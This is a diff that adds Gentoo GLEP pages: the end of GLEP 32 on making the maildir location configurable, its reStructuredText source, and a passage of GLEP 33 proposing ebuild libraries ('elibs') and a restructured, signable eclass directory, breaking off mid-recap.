+<li>&quot;Maildir&quot; is the defacto standard name for maildir mailboxes.</li>
+<li>People transferring e-mail configuration from other systems prefer to keep
+the original naming conventions.</li>
+<li>In a virtual hosting environment, having a hidden file in a directory
+dedicated for e-mail delivery is not a plus.</li>
+<li>All postfix and qmail related documentation gives &quot;Maildir&quot; as an example
+name.</li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="rationale" name="rationale">Rationale</a></h1>
+<p>The following comments were made in a discussion <a class="footnote-reference" href="#bugreport" id="id1" name="id1">[1]</a> on the Gentoo
+bugzilla</p>
+<ul class="simple">
+<li>The default location should be specified in <tt class="docutils literal"><span class="pre">rc.conf</span></tt></li>
+<li>Preventing users from shooting themselves in the foot is not an issue</li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="implementation" name="implementation">Implementation</a></h1>
+<p>A <tt class="docutils literal"><span class="pre">maildir.eclass</span></tt> has been submitted to Bug 52076 <a class="footnote-reference" href="#bugreport" id="id2" name="id2">[1]</a>.</p>
+<p>Patches that implement features similar to this GLEP have already been
+submitted to Bug 52076 <a class="footnote-reference" href="#bugreport" id="id3" name="id3">[1]</a>.</p>
+<div class="section">
+<h2><a class="toc-backref" href="#id8" id="maildir-variable" name="maildir-variable">MAILDIR variable</a></h2>
+<p>The default location for maildir delivery is specified by the <tt class="docutils literal"><span class="pre">$MAILDIR</span></tt>
+variable. This variable is specified in <tt class="docutils literal"><span class="pre">rc.conf</span></tt>.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id9" id="maildir-eclass" name="maildir-eclass">maildir.eclass</a></h2>
+<p>This eclass exports a <tt class="docutils literal"><span class="pre">$MAILDIR</span></tt> variable to the ebuilds that inherit it. If
+<tt class="docutils literal"><span class="pre">$MAILDIR</span></tt> has not been specified in <tt class="docutils literal"><span class="pre">rc.conf</span></tt> the eclass exports
+<tt class="docutils literal"><span class="pre">MAILDIR=.maildir</span></tt> for backwards compatibility reasons.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id10" id="patching-ebuilds" name="patching-ebuilds">Patching ebuilds</a></h2>
+<p>Since most ebuilds that currently need to know what the maildir delivery
+location is already take the default <tt class="docutils literal"><span class="pre">.maildir</span></tt> location into account when
+installing, modifying ebuilds to implement this GLEP is as simple as
+inheriting the <tt class="docutils literal"><span class="pre">maildir.eclass</span></tt> and substituting <tt class="docutils literal"><span class="pre">.maildir</span></tt> in the ebuild
+with the <tt class="docutils literal"><span class="pre">$MAILDIR</span></tt> variable. Care should be taken, to also modify any
+patches or scripts that are used by the ebuild, that already have <tt class="docutils literal"><span class="pre">.maildir</span></tt>
+hardcoded (vpopmail, exim).</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>The default location is &quot;.maildir&quot;, unless it is overridden. This way, there
+would be no backwards compatibility issues.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id12" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="bugreport" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="bugreport">[1]</a></td><td><em>(<a class="fn-backref" href="#id1">1</a>, <a class="fn-backref" href="#id2">2</a>, <a class="fn-backref" href="#id3">3</a>)</em> Bug 52076 (<a class="reference" href="http://bugs.gentoo.org/show_bug.cgi?id=52076">http://bugs.gentoo.org/show_bug.cgi?id=52076</a>)</td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id13" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0032.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0032.txt b/xml/htdocs/proj/en/glep/glep-0032.txt
new file mode 100644
index 00000000..fcdb2816
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0032.txt
@@ -0,0 +1,99 @@
+GLEP: 32
+Title: Maildir Location
+Version: $Revision: 1.2 $
+Last-Modified: $Date: 2007/04/21 03:13:16 $
+Author:	Georgi Georgiev <chutz@gg3.net>
+Status: Deferred
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 03-Nov-2004
+Post-History: 03-Nov-2004
+
+
+Abstract
+========
+
+Ebuilds that install mail delivery agents often need to know the default
+location of users' mailbox. When the mailbox is of a maildir type, there is no
+set standard what the name of the directory should be. The most popular
+extensions are "Maildir", ".Maildir" and Gentoo has adopted its own ".maildir"
+name.
+
+This GLEP proposes a user-definable maildir location.
+
+Motivation
+==========
+
+To provide the means to change the default location of a maildir, that is
+currently hardcoded in ebuilds.
+
+The ".maildir" name is not adequate for most situations.
+
+- "Maildir" is the defacto standard name for maildir mailboxes.
+
+- People transferring e-mail configuration from other systems prefer to keep
+  the original naming conventions.
+
+- In a virtual hosting environment, having a hidden file in a directory
+  dedicated for e-mail delivery is not a plus.
+
+- All postfix and qmail related documentation gives "Maildir" as an example
+  name.
+
+Rationale
+=========
+
+The following comments were made in a discussion [#bugreport]_ on the Gentoo
+bugzilla
+
+- The default location should be specified in ``rc.conf``
+
+- Preventing users from shooting themselves in the foot is not an issue
+
+Implementation
+==============
+
+A ``maildir.eclass`` has been submitted to Bug 52076 [#bugreport]_.
+
+Patches that implement features similar to this GLEP have already been
+submitted to Bug 52076 [#bugreport]_.
+
+MAILDIR variable
+----------------
+
+The default location for maildir delivery is specified by the ``$MAILDIR``
+variable. This variable is specified in ``rc.conf``.
+
+maildir.eclass
+--------------
+
+This eclass exports a ``$MAILDIR`` variable to the ebuilds that inherit it. If
+``$MAILDIR`` has not been specified in ``rc.conf`` the eclass exports
+``MAILDIR=.maildir`` for backwards compatibility reasons.
+
+Patching ebuilds
+----------------
+
+Since most ebuilds that currently need to know what the maildir delivery
+location is already take the default ``.maildir`` location into account when
+installing, modifying ebuilds to implement this GLEP is as simple as
+inheriting the ``maildir.eclass`` and substituting ``.maildir`` in the ebuild
+with the ``$MAILDIR`` variable. Care should be taken, to also modify any
+patches or scripts that are used by the ebuild, that already have ``.maildir``
+hardcoded (vpopmail, exim).
+
+Backwards Compatibility
+=======================
+
+The default location is ".maildir", unless it is overridden. This way, there
+would be no backwards compatibility issues.
+
+References
+==========
+
+.. [#bugreport] Bug 52076 (http://bugs.gentoo.org/show_bug.cgi?id=52076)
+
+Copyright
+=========
+
+This document has been placed in the public domain.
diff --git a/xml/htdocs/proj/en/glep/glep-0033.html b/xml/htdocs/proj/en/glep/glep-0033.html
new file mode 100644
index 00000000..60b5e73f
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0033.html
@@ -0,0 +1,469 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.6: http://docutils.sourceforge.net/" />
+  <title>GLEP 33 -- Eclass Restructure/Redesign</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" /></head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0033.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">33</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Eclass Restructure/Redesign</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.8</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference external" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0033.txt?cvsroot=gentoo">2010/04/07 22:04:02</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Brian Harring &lt;ferringb&#32;&#97;t&#32;gentoo.org&gt;, John Mylchreest &lt;johnm&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Moribund</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference external" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">29-Jan-2005</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">29-Jan-2005 6-Mar-2005 15-Sep-2005 5-Sep-2006</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic" id="contents">
+<p class="topic-title first">Contents</p>
+<ul class="simple">
+<li><a class="reference internal" href="#status" id="id2">Status</a></li>
+<li><a class="reference internal" href="#abstract" id="id3">Abstract</a></li>
+<li><a class="reference internal" href="#terminology" id="id4">Terminology</a></li>
+<li><a class="reference internal" href="#motivation-and-rationale" id="id5">Motivation and Rationale</a></li>
+<li><a class="reference internal" href="#specification" id="id6">Specification</a><ul>
+<li><a class="reference internal" href="#ebuild-libraries-elibs-for-short" id="id7">Ebuild Libraries (elibs for short)</a></li>
+<li><a class="reference internal" href="#the-reduced-role-of-eclasses-and-a-clarification-of-existing-eclass-requirements" id="id8">The reduced role of Eclasses, and a clarification of existing Eclass requirements</a></li>
+<li><a class="reference internal" href="#the-end-of-backwards-compatibility" id="id9">The end of backwards compatibility...</a></li>
+<li><a class="reference internal" href="#tree-restructuring" id="id10">Tree restructuring</a></li>
+<li><a class="reference internal" href="#the-start-of-a-different-phase-of-backwards-compatibility" id="id11">The start of a different phase of backwards compatibility</a></li>
+<li><a class="reference internal" href="#migrating-to-the-new-setup" id="id12">Migrating to the new setup</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#backwards-compatibility" id="id13">Backwards Compatibility</a></li>
+<li><a class="reference internal" href="#copyright" id="id14">Copyright</a></li>
+</ul>
+</div>
+<div class="section" id="status">
+<h1><a class="toc-backref" href="#id2">Status</a></h1>
+<p>Approved by the Gentoo Council on 15 September 2005.  As of Sept. 2006
+this GLEP is on hold, pending future revisions.</p>
+</div>
+<div class="section" id="abstract">
+<h1><a class="toc-backref" href="#id3">Abstract</a></h1>
+<p>For any design, the transition from theoretical to applied exposes inadequacies
+in the original design.  This document is intended to document, and propose a
+revision of the current eclass setup to address current eclass inadequacies.</p>
+<p>This document proposes several things- the creation of ebuild libraries, 'elibs',
+a narrowing of the focus of eclasses, a move of eclasses w/in the tree, the
+addition of changelogs, and a way to allow for simple eclass gpg signing.
+In general, a large scale restructuring of what eclasses are and how they're
+implemented.  Essentially version two of the eclass setup.</p>
+</div>
+<div class="section" id="terminology">
+<h1><a class="toc-backref" href="#id4">Terminology</a></h1>
+<p>From this point on, the proposed eclass setup will be called 'new eclasses', the
+existing crop (as of this writing) will be referenced as 'old eclasses'.  The
+distinction is elaborated on within this document.</p>
+</div>
+<div class="section" id="motivation-and-rationale">
+<h1><a class="toc-backref" href="#id5">Motivation and Rationale</a></h1>
+<p>Eclasses within the tree currently are a bit of a mess- they're forced to
+maintain backwards compatibility w/ all previous functionality.  In effect,
+their api is constant, and can only be added to- never changing the existing
+functionality.  This obviously is quite limiting, and leads to cruft accruing in
+eclasses as a eclasses design is refined.  This needs to be dealt with prior to
+eclass code  reaching a critical mass where they become unmanageable/fragile
+(recent pushes for eclass versioning could be interpreted as proof of this).</p>
+<p>Beyond that, eclasses were originally intended as a method to allow for ebuilds
+to use a pre-existing block of code, rather then having to duplicate the code in
+each ebuild.  This is a good thing, but there are ill effects that result from
+the current design.  Eclasses inherit other eclasses to get a single function- in
+doing so, modifying the the exported 'template' (default src_compile, default
+src_unpack, various vars, etc).  All the eclass designer was after was reusing a
+function, not making their eclass sensitive to changes in the template of the
+eclass it's inheriting.  The eclass designer -should- be aware of changes in the
+function they're using, but shouldn't have to worry about their default src_*
+and pkg_* functions being overwritten, let alone the env changes.</p>
+<p>Addressing up front why a collection of eclass refinements are being rolled into
+a single set of changes, parts of this proposal -could- be split into multiple
+phases.  Why do it though?  It's simpler for developers to know that the first
+eclass specification was this, and that the second specification is that,
+rather then requiring them to be aware of what phase of eclass changes is in
+progress.</p>
+<p>By rolling all changes into one large change, a line is intentionally drawn in
+the sand.  Old eclasses allowed for this, behaved this way.  New eclasses allow
+for that, and behave this way.  This should reduce misconceptions about what is
+allowed/possible with eclasses, thus reducing bugs that result from said
+misconceptions.</p>
+<p>A few words on elibs- think of them as a clear definition between behavioral
+functionality of an eclass, and the library functionality.  Eclass's modify
+template data, and are the basis for other ebuilds- elibs, however are <em>just</em>
+common bash functionality.</p>
+<p>Consider the majority of the portage bin/* scripts- these all are candidates for
+being added to the tree as elibs, as is the bulk of eutils.</p>
+</div>
+<div class="section" id="specification">
+<h1><a class="toc-backref" href="#id6">Specification</a></h1>
+<p>The various parts of this proposal are broken down into a set of changes and
+elaborations on why a proposed change is preferable.  It's advisable to the
+reader that this be read serially, rather then jumping around.</p>
+<div class="section" id="ebuild-libraries-elibs-for-short">
+<h2><a class="toc-backref" href="#id7">Ebuild Libraries (elibs for short)</a></h2>
+<p>As briefly touched upon in Motivation and Rationale, the original eclass design
+allowed for the eclass to modify the metadata of an ebuild, metadata being the
+DEPENDS, RDEPENDS, SRC_URI, IUSE, etc, vars that are required to be constant,
+and used by portage for dep resolution, fetching, etc.  Using the earlier
+example, if you're after a single function from an eclass (say epatch from
+eutils), you -don't- want the metadata modifications the eclass you're
+inheriting might do.  You want to treat the eclass you're pulling from as a
+library, pure and simple.</p>
+<p>A new directory named elib should be added to the top level of the tree to serve
+as a repository of ebuild function libraries.  Rather then relying on using the
+source command, an 'elib' function should be added to portage to import that
+libraries functionality.  The reason for the indirection via the function is
+mostly related to portage internals, but it does serve as an abstraction such
+that (for example) zsh compatibility hacks could be hidden in the elib function.</p>
+<p>Elib's will be collections of bash functions- they're not allowed to do anything
+in the global scope aside from function definition, and any -minimal-
+initialization of the library that is absolutely needed.  Additionally, they
+cannot modify any ebuild template functions- src_compile, src_unpack.  Since they are
+required to not modify the metadata keys, nor in any way affect the ebuild aside
+from providing functionality, they can be conditionally pulled in.  They also
+are allowed to pull in other elibs, but strictly just elibs- no eclasses, just
+other elibs.  A real world example would be the eutils eclass.</p>
+<p>Portage, since the elib's don't modify metadata, isn't required to track elibs
+as it tracks eclasses.  Thus a change in an elib doesn't result in half the tree
+forced to be regenerated/marked stale when changed (this is more of an infra
+benefit, although regen's that take too long due to eclass changes have been
+known to cause rsync issues due to missing timestamps).</p>
+<p>Elibs will not be available in the global scope of an eclass, or ebuild- nor during the
+depends phase (basically a phase that sources the ebuild, to get its metadata).  Elib
+calls in the global scope will be tracked, but the elib will not be loaded till just before
+the setup phase (pkg_setup).  There are two reasons for this- first, it ensures elibs are
+completely incapable of modifying metadata.  There is no room for confusion, late loading
+of elibs gives you the functionality for all phases, except for depends- depends being the
+only phase that is capable of specifying metadata.  Second, as an added bonus, late
+loading reduces the amount of bash sourced for a regen- faster regens.  This however is minor,
+and is an ancillary benefit of the first reason.</p>
+<p>There are a few further restrictions with elibs--mainly, elibs to load can only be specified
+in either global scope, or in the setup, unpack, compile, test, and install phases.  You can
+not load elibs in prerm, postrm, preinst, and postinst.  The reason being, for *rm phases,
+installed pkgs will have to look to the tree for the elib, which allows for api drift to cause
+breakage.  For *inst phases, same thing, except the culprit is binpkgs.</p>
+<p>There is a final restriction--elibs cannot change their exported api dependent on the api
+(as some eclass do for example).  The reason mainly being that elibs are loaded once--not
+multiple times, as eclasses are.</p>
+<p>To clarify, for example this is invalid.</p>
+<pre class="literal-block">
+if [[ -n ${SOME_VAR} ]]; then
+        func x() { echo &quot;I'm accessible only via tweaking some var&quot;;}
+else
+        func x() { echo &quot;this is invalid, do not do it.&quot;; }
+fi
+</pre>
+<p>Regarding maintainability of elibs, it should be a less of a load then old
+eclasses.  One of the major issues with old eclasses is that their functions are
+quite incestuous- they're bound tightly to the env they're defined in.  This
+makes eclass functions a bit fragile- the restrictions on what can, and cannot
+be done in elibs will address this, making functionality less fragile (thus a
+bit more maintainable).</p>
+<p>There is no need for backwards compatibility with elibs- they just must work
+against the current tree.  Thus elibs can be removed when the tree no longer
+needs them.  The reasons for this are explained below.</p>
+<p>Structuring of the elibs directory will be exactly the same as that of the new
+eclass directory (detailed below), sans a different extension.</p>
+<p>As to why their are so many restrictions, the answer is simple- the definition of
+what elibs are, what they are capable of, and how to use them is nailed down as much as
+possible to avoid <em>any</em> ambiguity related to them.  The intention is to make it clear,
+such that no misconceptions occur, resulting in bugs.</p>
+</div>
+<div class="section" id="the-reduced-role-of-eclasses-and-a-clarification-of-existing-eclass-requirements">
+<h2><a class="toc-backref" href="#id8">The reduced role of Eclasses, and a clarification of existing Eclass requirements</a></h2>
+<p>Since elibs are now intended on holding common bash functionality, the focus of
+eclasses should be in defining an appropriate template for ebuilds.  For example,
+defining common DEPENDS, RDEPENDS, src_compile functions, src_unpack, etc.
+Additionally, eclasses should pull in any elibs they need for functionality.</p>
+<p>Eclass functionality that isn't directly related to the metadata, or src_* and
+pkg_* funcs should be shifted into elibs to allow for maximal code reuse.  This
+however isn't a hard requirement, merely a strongly worded suggestion.</p>
+<p>Previously, it was 'strongly' suggested by developers to avoid having any code
+executed in the global scope that wasn't required.  This suggestion is now a
+requirement.  Execute only what must be executed in the global scope.  Any code
+executed in the global scope that is related to configuring/building the package
+must be placed in pkg_setup.  Metadata keys (already a rule, but now stated as
+an absolute requirement to clarify it) <em>must</em> be constant.  The results of
+metadata keys exported from an ebuild on system A, must be <em>exactly</em> the same as
+the keys exported on system B.</p>
+<p>If an eclass (or ebuild for that matter) violates this constant requirement, it
+leads to portage doing the wrong thing for rsync users- for example, wrong deps
+pulled in, leading to compilation failure, or dud deps.</p>
+<p>If the existing metadata isn't flexible enough for what is required for a
+package, the parsing of the metadata is changed to address that.  Cases where
+the constant requirement is violated are known, and a select few are allowed-
+these are exceptions to the rule that are required due to inadequacies in
+portage.  Any case where it's determined the constant requirement may need to be
+violated the dev must make it aware to the majority of devs, along with the portage
+devs.  This should be done prior to committing.</p>
+<p>It's quite likely there is a way to allow what you're attempting- if you just go
+and do it, the rsync users (our user base) suffer the results of compilation
+failures and unneeded deps being pulled in.</p>
+<p>After that stern reminder, back to new eclasses.  Defining INHERITED and ECLASS
+within the eclass is no longer required.  Portage already handles those vars if
+they aren't defined.</p>
+<p>As with elibs, it's no longer required that backwards compatibility be maintained
+indefinitely- compatibility must be maintained against the current tree, but
+just that.  As such new eclasses (the true distinction of new vs old is
+elaborated in the next section) can be removed from the tree once they're no
+longer in use.</p>
+</div>
+<div class="section" id="the-end-of-backwards-compatibility">
+<h2><a class="toc-backref" href="#id9">The end of backwards compatibility...</a></h2>
+<p>With current eclasses, once the eclass is in use, its api can no longer be
+changed, nor can the eclass ever be removed from the tree.  This is why we still
+have <em>ancient</em> eclasses that are completely unused sitting in the tree, for
+example inherit.eclass.  The reason for this, not surprisingly, is a portage
+deficiency: on unmerging an installed ebuild, portage used the eclass from the
+current tree.</p>
+<p>For a real world example of this, if you merged a glibc 2 years back, whatever
+eclasses it used must still be compatible, or you may not be able to unmerge the
+older glibc version during an upgrade to a newer version.  So either the glibc
+maintainer is left with the option of leaving people using ancient versions out
+in the rain, or maintaining an ever increasing load of backwards compatibility
+cruft in any used eclasses.</p>
+<p>Binpkgs suffer a similar fate.  Merging of a binpkg pulls needed eclasses from
+the tree, so you may not be able to even merge a binpkg if the eclasses api has
+changed.  If the eclass was removed, you can't even merge the binpkg, period.</p>
+<p>The next major release of portage will address this- the environment that the
+ebuild was built in already contains the eclasses functions, as such the env can
+be re-used rather then relying on the eclass.  In other words, binpkgs and
+installed ebuilds will no longer go and pull needed eclasses from the tree,
+they'll use the 'saved' version of the eclass they were built/merged with.</p>
+<p>So the backwards compatibility requirement for users of the next major portage
+version (and beyond) isn't required.  All the cruft can be dropped.</p>
+<p>The problem is that there will be users using older versions of portage that don't
+support this functionality- these older installations <em>cannot</em> use the
+new eclasses, due to the fact that their portage version is incapable of
+properly relying on the env- in other words, the varying api of the eclass will
+result in user-visible failures during unmerging.</p>
+<p>So we're able to do a clean break of all old eclasses, and api cruft, but we need
+a means to basically disallow access to the new eclasses for all portage versions
+incapable of properly handling the env requirements.</p>
+<p>Unfortunately, we cannot just rely on a different grouping/naming convention within
+the old eclass directory.  The new eclasses must be inaccessible, and portage throws
+a snag into this- the existing inherit function that is used to handle existing
+eclasses.  Basically, whatever it's passed (inherit kernel or inherit
+kernel/kernel) it will pull in (kernel.eclass, and kernel/kernel.eclass
+respectively).  So even if the new eclasses were implemented within a
+subdirectory of the eclass dir in the tree, all current portage versions would
+still be able to access them.</p>
+<p>In other words, these new eclasses would in effect, be old eclasses since older
+portage versions could still access them.</p>
+</div>
+<div class="section" id="tree-restructuring">
+<h2><a class="toc-backref" href="#id10">Tree restructuring</a></h2>
+<p>There are only two way to block the existing (as of this writing) inherit
+functionality from accessing the new eclasses- either change the extension of
+eclasses to something other then 'eclass', or to have them stored in a separate
+subdirectory of the tree then eclass.</p>
+<p>The latter is preferable, and the proposed solution.  Reasons are- the current
+eclass directory is already overgrown.  Structuring of the new eclass dir
+(clarified below) will allow for easier signing, ChangeLogs, and grouping of
+eclasses.  New eclasses allow for something akin to a clean break and have new
+capabilities/requirements, thus it's advisable to start with a clean directory,
+devoid of all cruft from the old eclass implementation.</p>
+<p>If it's unclear as to why the old inherit function <em>cannot</em> access the new
+eclasses, please reread the previous section.  It's unfortunately a requirement
+to take advantage of all that the next major portage release will allow.</p>
+<p>The proposed directory structure is ${PORTDIR}/include/{eclass,elib}.
+Something like ${PORTDIR}/new-eclass, or ${PORTDIR}/eclass-ng could be used
+(although many would cringe at the -ng), but such a name is unwise.  Consider the
+possibility (likely a fact) that new eclasses someday may be found lacking, and
+refined further (version three as it were).  Or perhaps we want to add yet more
+functionality with direct relation to sourcing new files, and we would then need
+to further populate ${PORTDIR}.</p>
+<p>The new-eclass directory will be (at least) 2 levels deep- for example:</p>
+<dl class="docutils">
+<dt>::</dt>
+<dd>kernel/
+kernel/linux-info.eclass
+kernel/linux-mod.eclass
+kernel/kernel-2.6.eclass
+kernel/kernel-2.4.eclass
+kernel/ChangeLog
+kernel/Manifest</dd>
+</dl>
+<p>No eclasses will be allowed in the base directory- grouping of new eclasses will
+be required to help keep things tidy, and for the following reasons.  Grouping
+of eclasses allows for the addition of ChangeLogs that are specific to that
+group of eclasses, grouping of files/patches as needed, and allows for
+saner/easier signing of eclasses- you can just stick a signed
+Manifest file w/in that grouping, thus providing the information portage needs
+to ensure no files are missing, and that nothing has been tainted.</p>
+<p>The elib directory will be structured in the same way, for the same reasons.</p>
+<p>Repoman will have to be extended to work within new eclass and elib groups, and
+to handle signing and committing.  This is intentional, and a good thing.  This
+gives repoman the possibility of doing sanity checks on elibs/new eclasses.</p>
+<p>Note these checks will not prevent developers from doing dumb things with eclass-
+these checks would only be capable of doing basic sanity checks, such as syntax checks.
+There is no way to prevent people from doing dumb things (exempting perhaps repeated
+applications of a cattle prod)- these are strictly automatic checks, akin to repoman's
+dependency checks.</p>
+</div>
+<div class="section" id="the-start-of-a-different-phase-of-backwards-compatibility">
+<h2><a class="toc-backref" href="#id11">The start of a different phase of backwards compatibility</a></h2>
+<p>As clarified above, new eclasses will exist in a separate directory that will be
+intentionally inaccessible to the inherit function.  As such, users of older
+portage versions <em>will</em> have to upgrade to merge any ebuild that uses elibs/new
+eclasses.  A depend on the next major portage version would transparently handle
+this for rsync users.</p>
+<p>There still is the issue of users who haven't upgraded to the required portage
+version.  This is a minor concern frankly- portage releases include new
+functionality, and bug fixes.  If they won't upgrade, it's assumed they have
+their reasons and are big boys, thus able to handle the complications themselves.</p>
+<p>The real issue is broken envs, whether in binpkgs, or for installed packages.
+Two options exist- either the old eclasses are left in the tree indefinitely, or
+they're left for N months, then shifted out of the tree, and into a tarball that
+can be merged.</p>
+<p>Shifting them out of the tree is advisable for several reasons- less cruft in
+the tree, but more importantly the fact that they are not signed (thus an angle
+for attack).  Note that the proposed method of eclass signing doesn't even try
+to address them.  Frankly, it's not worth the effort supporting two variations
+of eclass signing, when the old eclass setup isn't designed to allow for easy
+signing.</p>
+<p>If this approach is taken, then either the old eclasses would have to be merged
+to an overlay directory's eclass directory (ugly), or to a safe location that
+portage's inherit function knows to look for (less ugly).</p>
+<p>For users who do not upgrade within the window of N months while the old
+eclasses are in the tree, as stated, it's assumed they know what they are doing.
+If they specifically block the new portage version, as the ebuilds in the tree
+migrate to the new eclasses, they will have less and less ebuilds available to
+them.  If they tried injecting the new portage version (lying to portage,
+essentially), portage would bail since it cannot find the new eclass.
+For ebuilds that use the new eclasses, there really isn't any way to sidestep
+the portage version requirement- same as it has been for other portage features.</p>
+<p>What is a bit more annoying is that once the old eclasses are out of the tree,
+if a user has not upgraded to a portage version supporting env processing, they
+will lose the ability to unmerge any installed ebuild that used an old
+eclass.  Same cause, different symptom being they will lose the ability to merge
+any tbz2 that uses old eclasses also.</p>
+<p>There is one additional case that is a rarity, but should be noted- if a user
+has suffered significant corruption of their installed package database (vdb).  This is
+ignoring the question of whether the vdb is even usable at this point, but the possibility
+exists for the saved envs to be non usable due to either A) missing, or B) corrupted.
+In such a case, even with the new portage capabilities, they would need
+the old eclass compat ebuild.</p>
+<p>Note for this to happen requires either rather... unwise uses of root, or significant
+fs corruption.  Regardless of the cause, it's quite likely for this to even become an
+issue, the system's vdb is completely unusable.  It's a moot issue at that point.
+If you lose your vdb, or it gets seriously damaged, it's akin to lobotomizing portage-
+it doesn't know what's installed, it doesn't know of its own files, and in general,
+a rebuilding of the system is about the only sane course of action.  The missing env is
+truly the least of the users concern in such a case.</p>
+<p>Continuing with the more likely scenario, users unwilling to upgrade portage will
+<em>not</em> be left out in the rain.  Merging the old eclass compat ebuild will provide
+the missing eclasses, thus providing that lost functionality.</p>
+<p>Note the intention isn't to force them to upgrade, hence the ability to restore the
+lost functionality.  The intention is to clean up the existing mess, and allow us
+to move forward.  The saying &quot;you've got to break a few eggs to make an omelet&quot;
+is akin, exempting the fact we're providing a way to make the eggs whole again
+(the king's men would've loved such an option).</p>
+</div>
+<div class="section" id="migrating-to-the-new-setup">
+<h2><a class="toc-backref" href="#id12">Migrating to the new setup</a></h2>
+<p>As has been done in the past whenever a change in the tree results in ebuilds
+requiring a specific version of portage, as ebuilds migrate to the new eclasses,
+they should depend on a version of portage that supports it.  From the users
+viewpoint, this transparently handles the migration.</p>
+<p>This isn't so transparent for devs or a particular infrastructure server however.
+Devs, due to them using cvs for their tree, lack the pregenerated cache rsync
+users have.   Devs will have to be early adopters of the new portage.  Older
+portage versions won't be able to access the new eclasses, thus the local cache
+generation for that ebuild will fail, ergo the depends on a newer portage
+version won't transparently handle it for them.</p>
+<p>Additionally, prior to any ebuilds in the tree using the new eclasses, the
+infrastructure server that generates the cache for rsync users will have to
+either be upgraded to a version of portage supporting new eclasses, or patched.
+The former being much more preferable then the latter for the portage devs.</p>
+<p>Beyond that, an appropriate window for old eclasses to exist in the tree must be
+determined, and prior to that window passing, an ebuild must be added to the tree
+so users can get the old eclasses if needed.</p>
+<p>For eclass devs to migrate from old to new, it is possible for them to just
+transfer the old eclass into an appropriate grouping in the new eclass directory,
+although it's advisable they cleanse all cruft out of the eclass.  You can
+migrate ebuilds gradually over to the new eclass, and don't have to worry about
+having to support ebuilds from X years back.</p>
+<p>Essentially, you have a chance to nail the design perfectly/cleanly, and have a
+window in which to redesign it.  It's humbly suggested eclass devs take
+advantage of it. :)</p>
+</div>
+</div>
+<div class="section" id="backwards-compatibility">
+<h1><a class="toc-backref" href="#id13">Backwards Compatibility</a></h1>
+<p>All backwards compatibility issues are addressed in line, but a recap is offered-
+it's suggested that if the a particular compatibility issue is
+questioned/worried over, the reader read the relevant section.  There should be
+a more in depth discussion of the issue, along with a more extensive explanation
+of the potential solutions, and reasons for the chosen solution.</p>
+<p>To recap:</p>
+<pre class="literal-block">
+New eclasses and elib functionality will be tied to a specific portage
+version.  A DEPENDs on said portage version should address this for rsync
+users who refuse to upgrade to a portage version that supports the new
+eclasses/elibs and will gradually be unable to merge ebuilds that use said
+functionality.  It is their choice to upgrade, as such, the gradual
+'thinning' of available ebuilds should they block the portage upgrade is
+their responsibility.
+
+Old eclasses at some point in the future should be removed from the tree,
+and released in a tarball/ebuild.  This will cause installed ebuilds that
+rely on the old eclass to be unable to unmerge, with the same applying for
+merging of binpkgs dependent on the following paragraph.
+
+The old eclass-compat is only required for users who do not upgrade their
+portage installation, and one further exemption- if the user has somehow
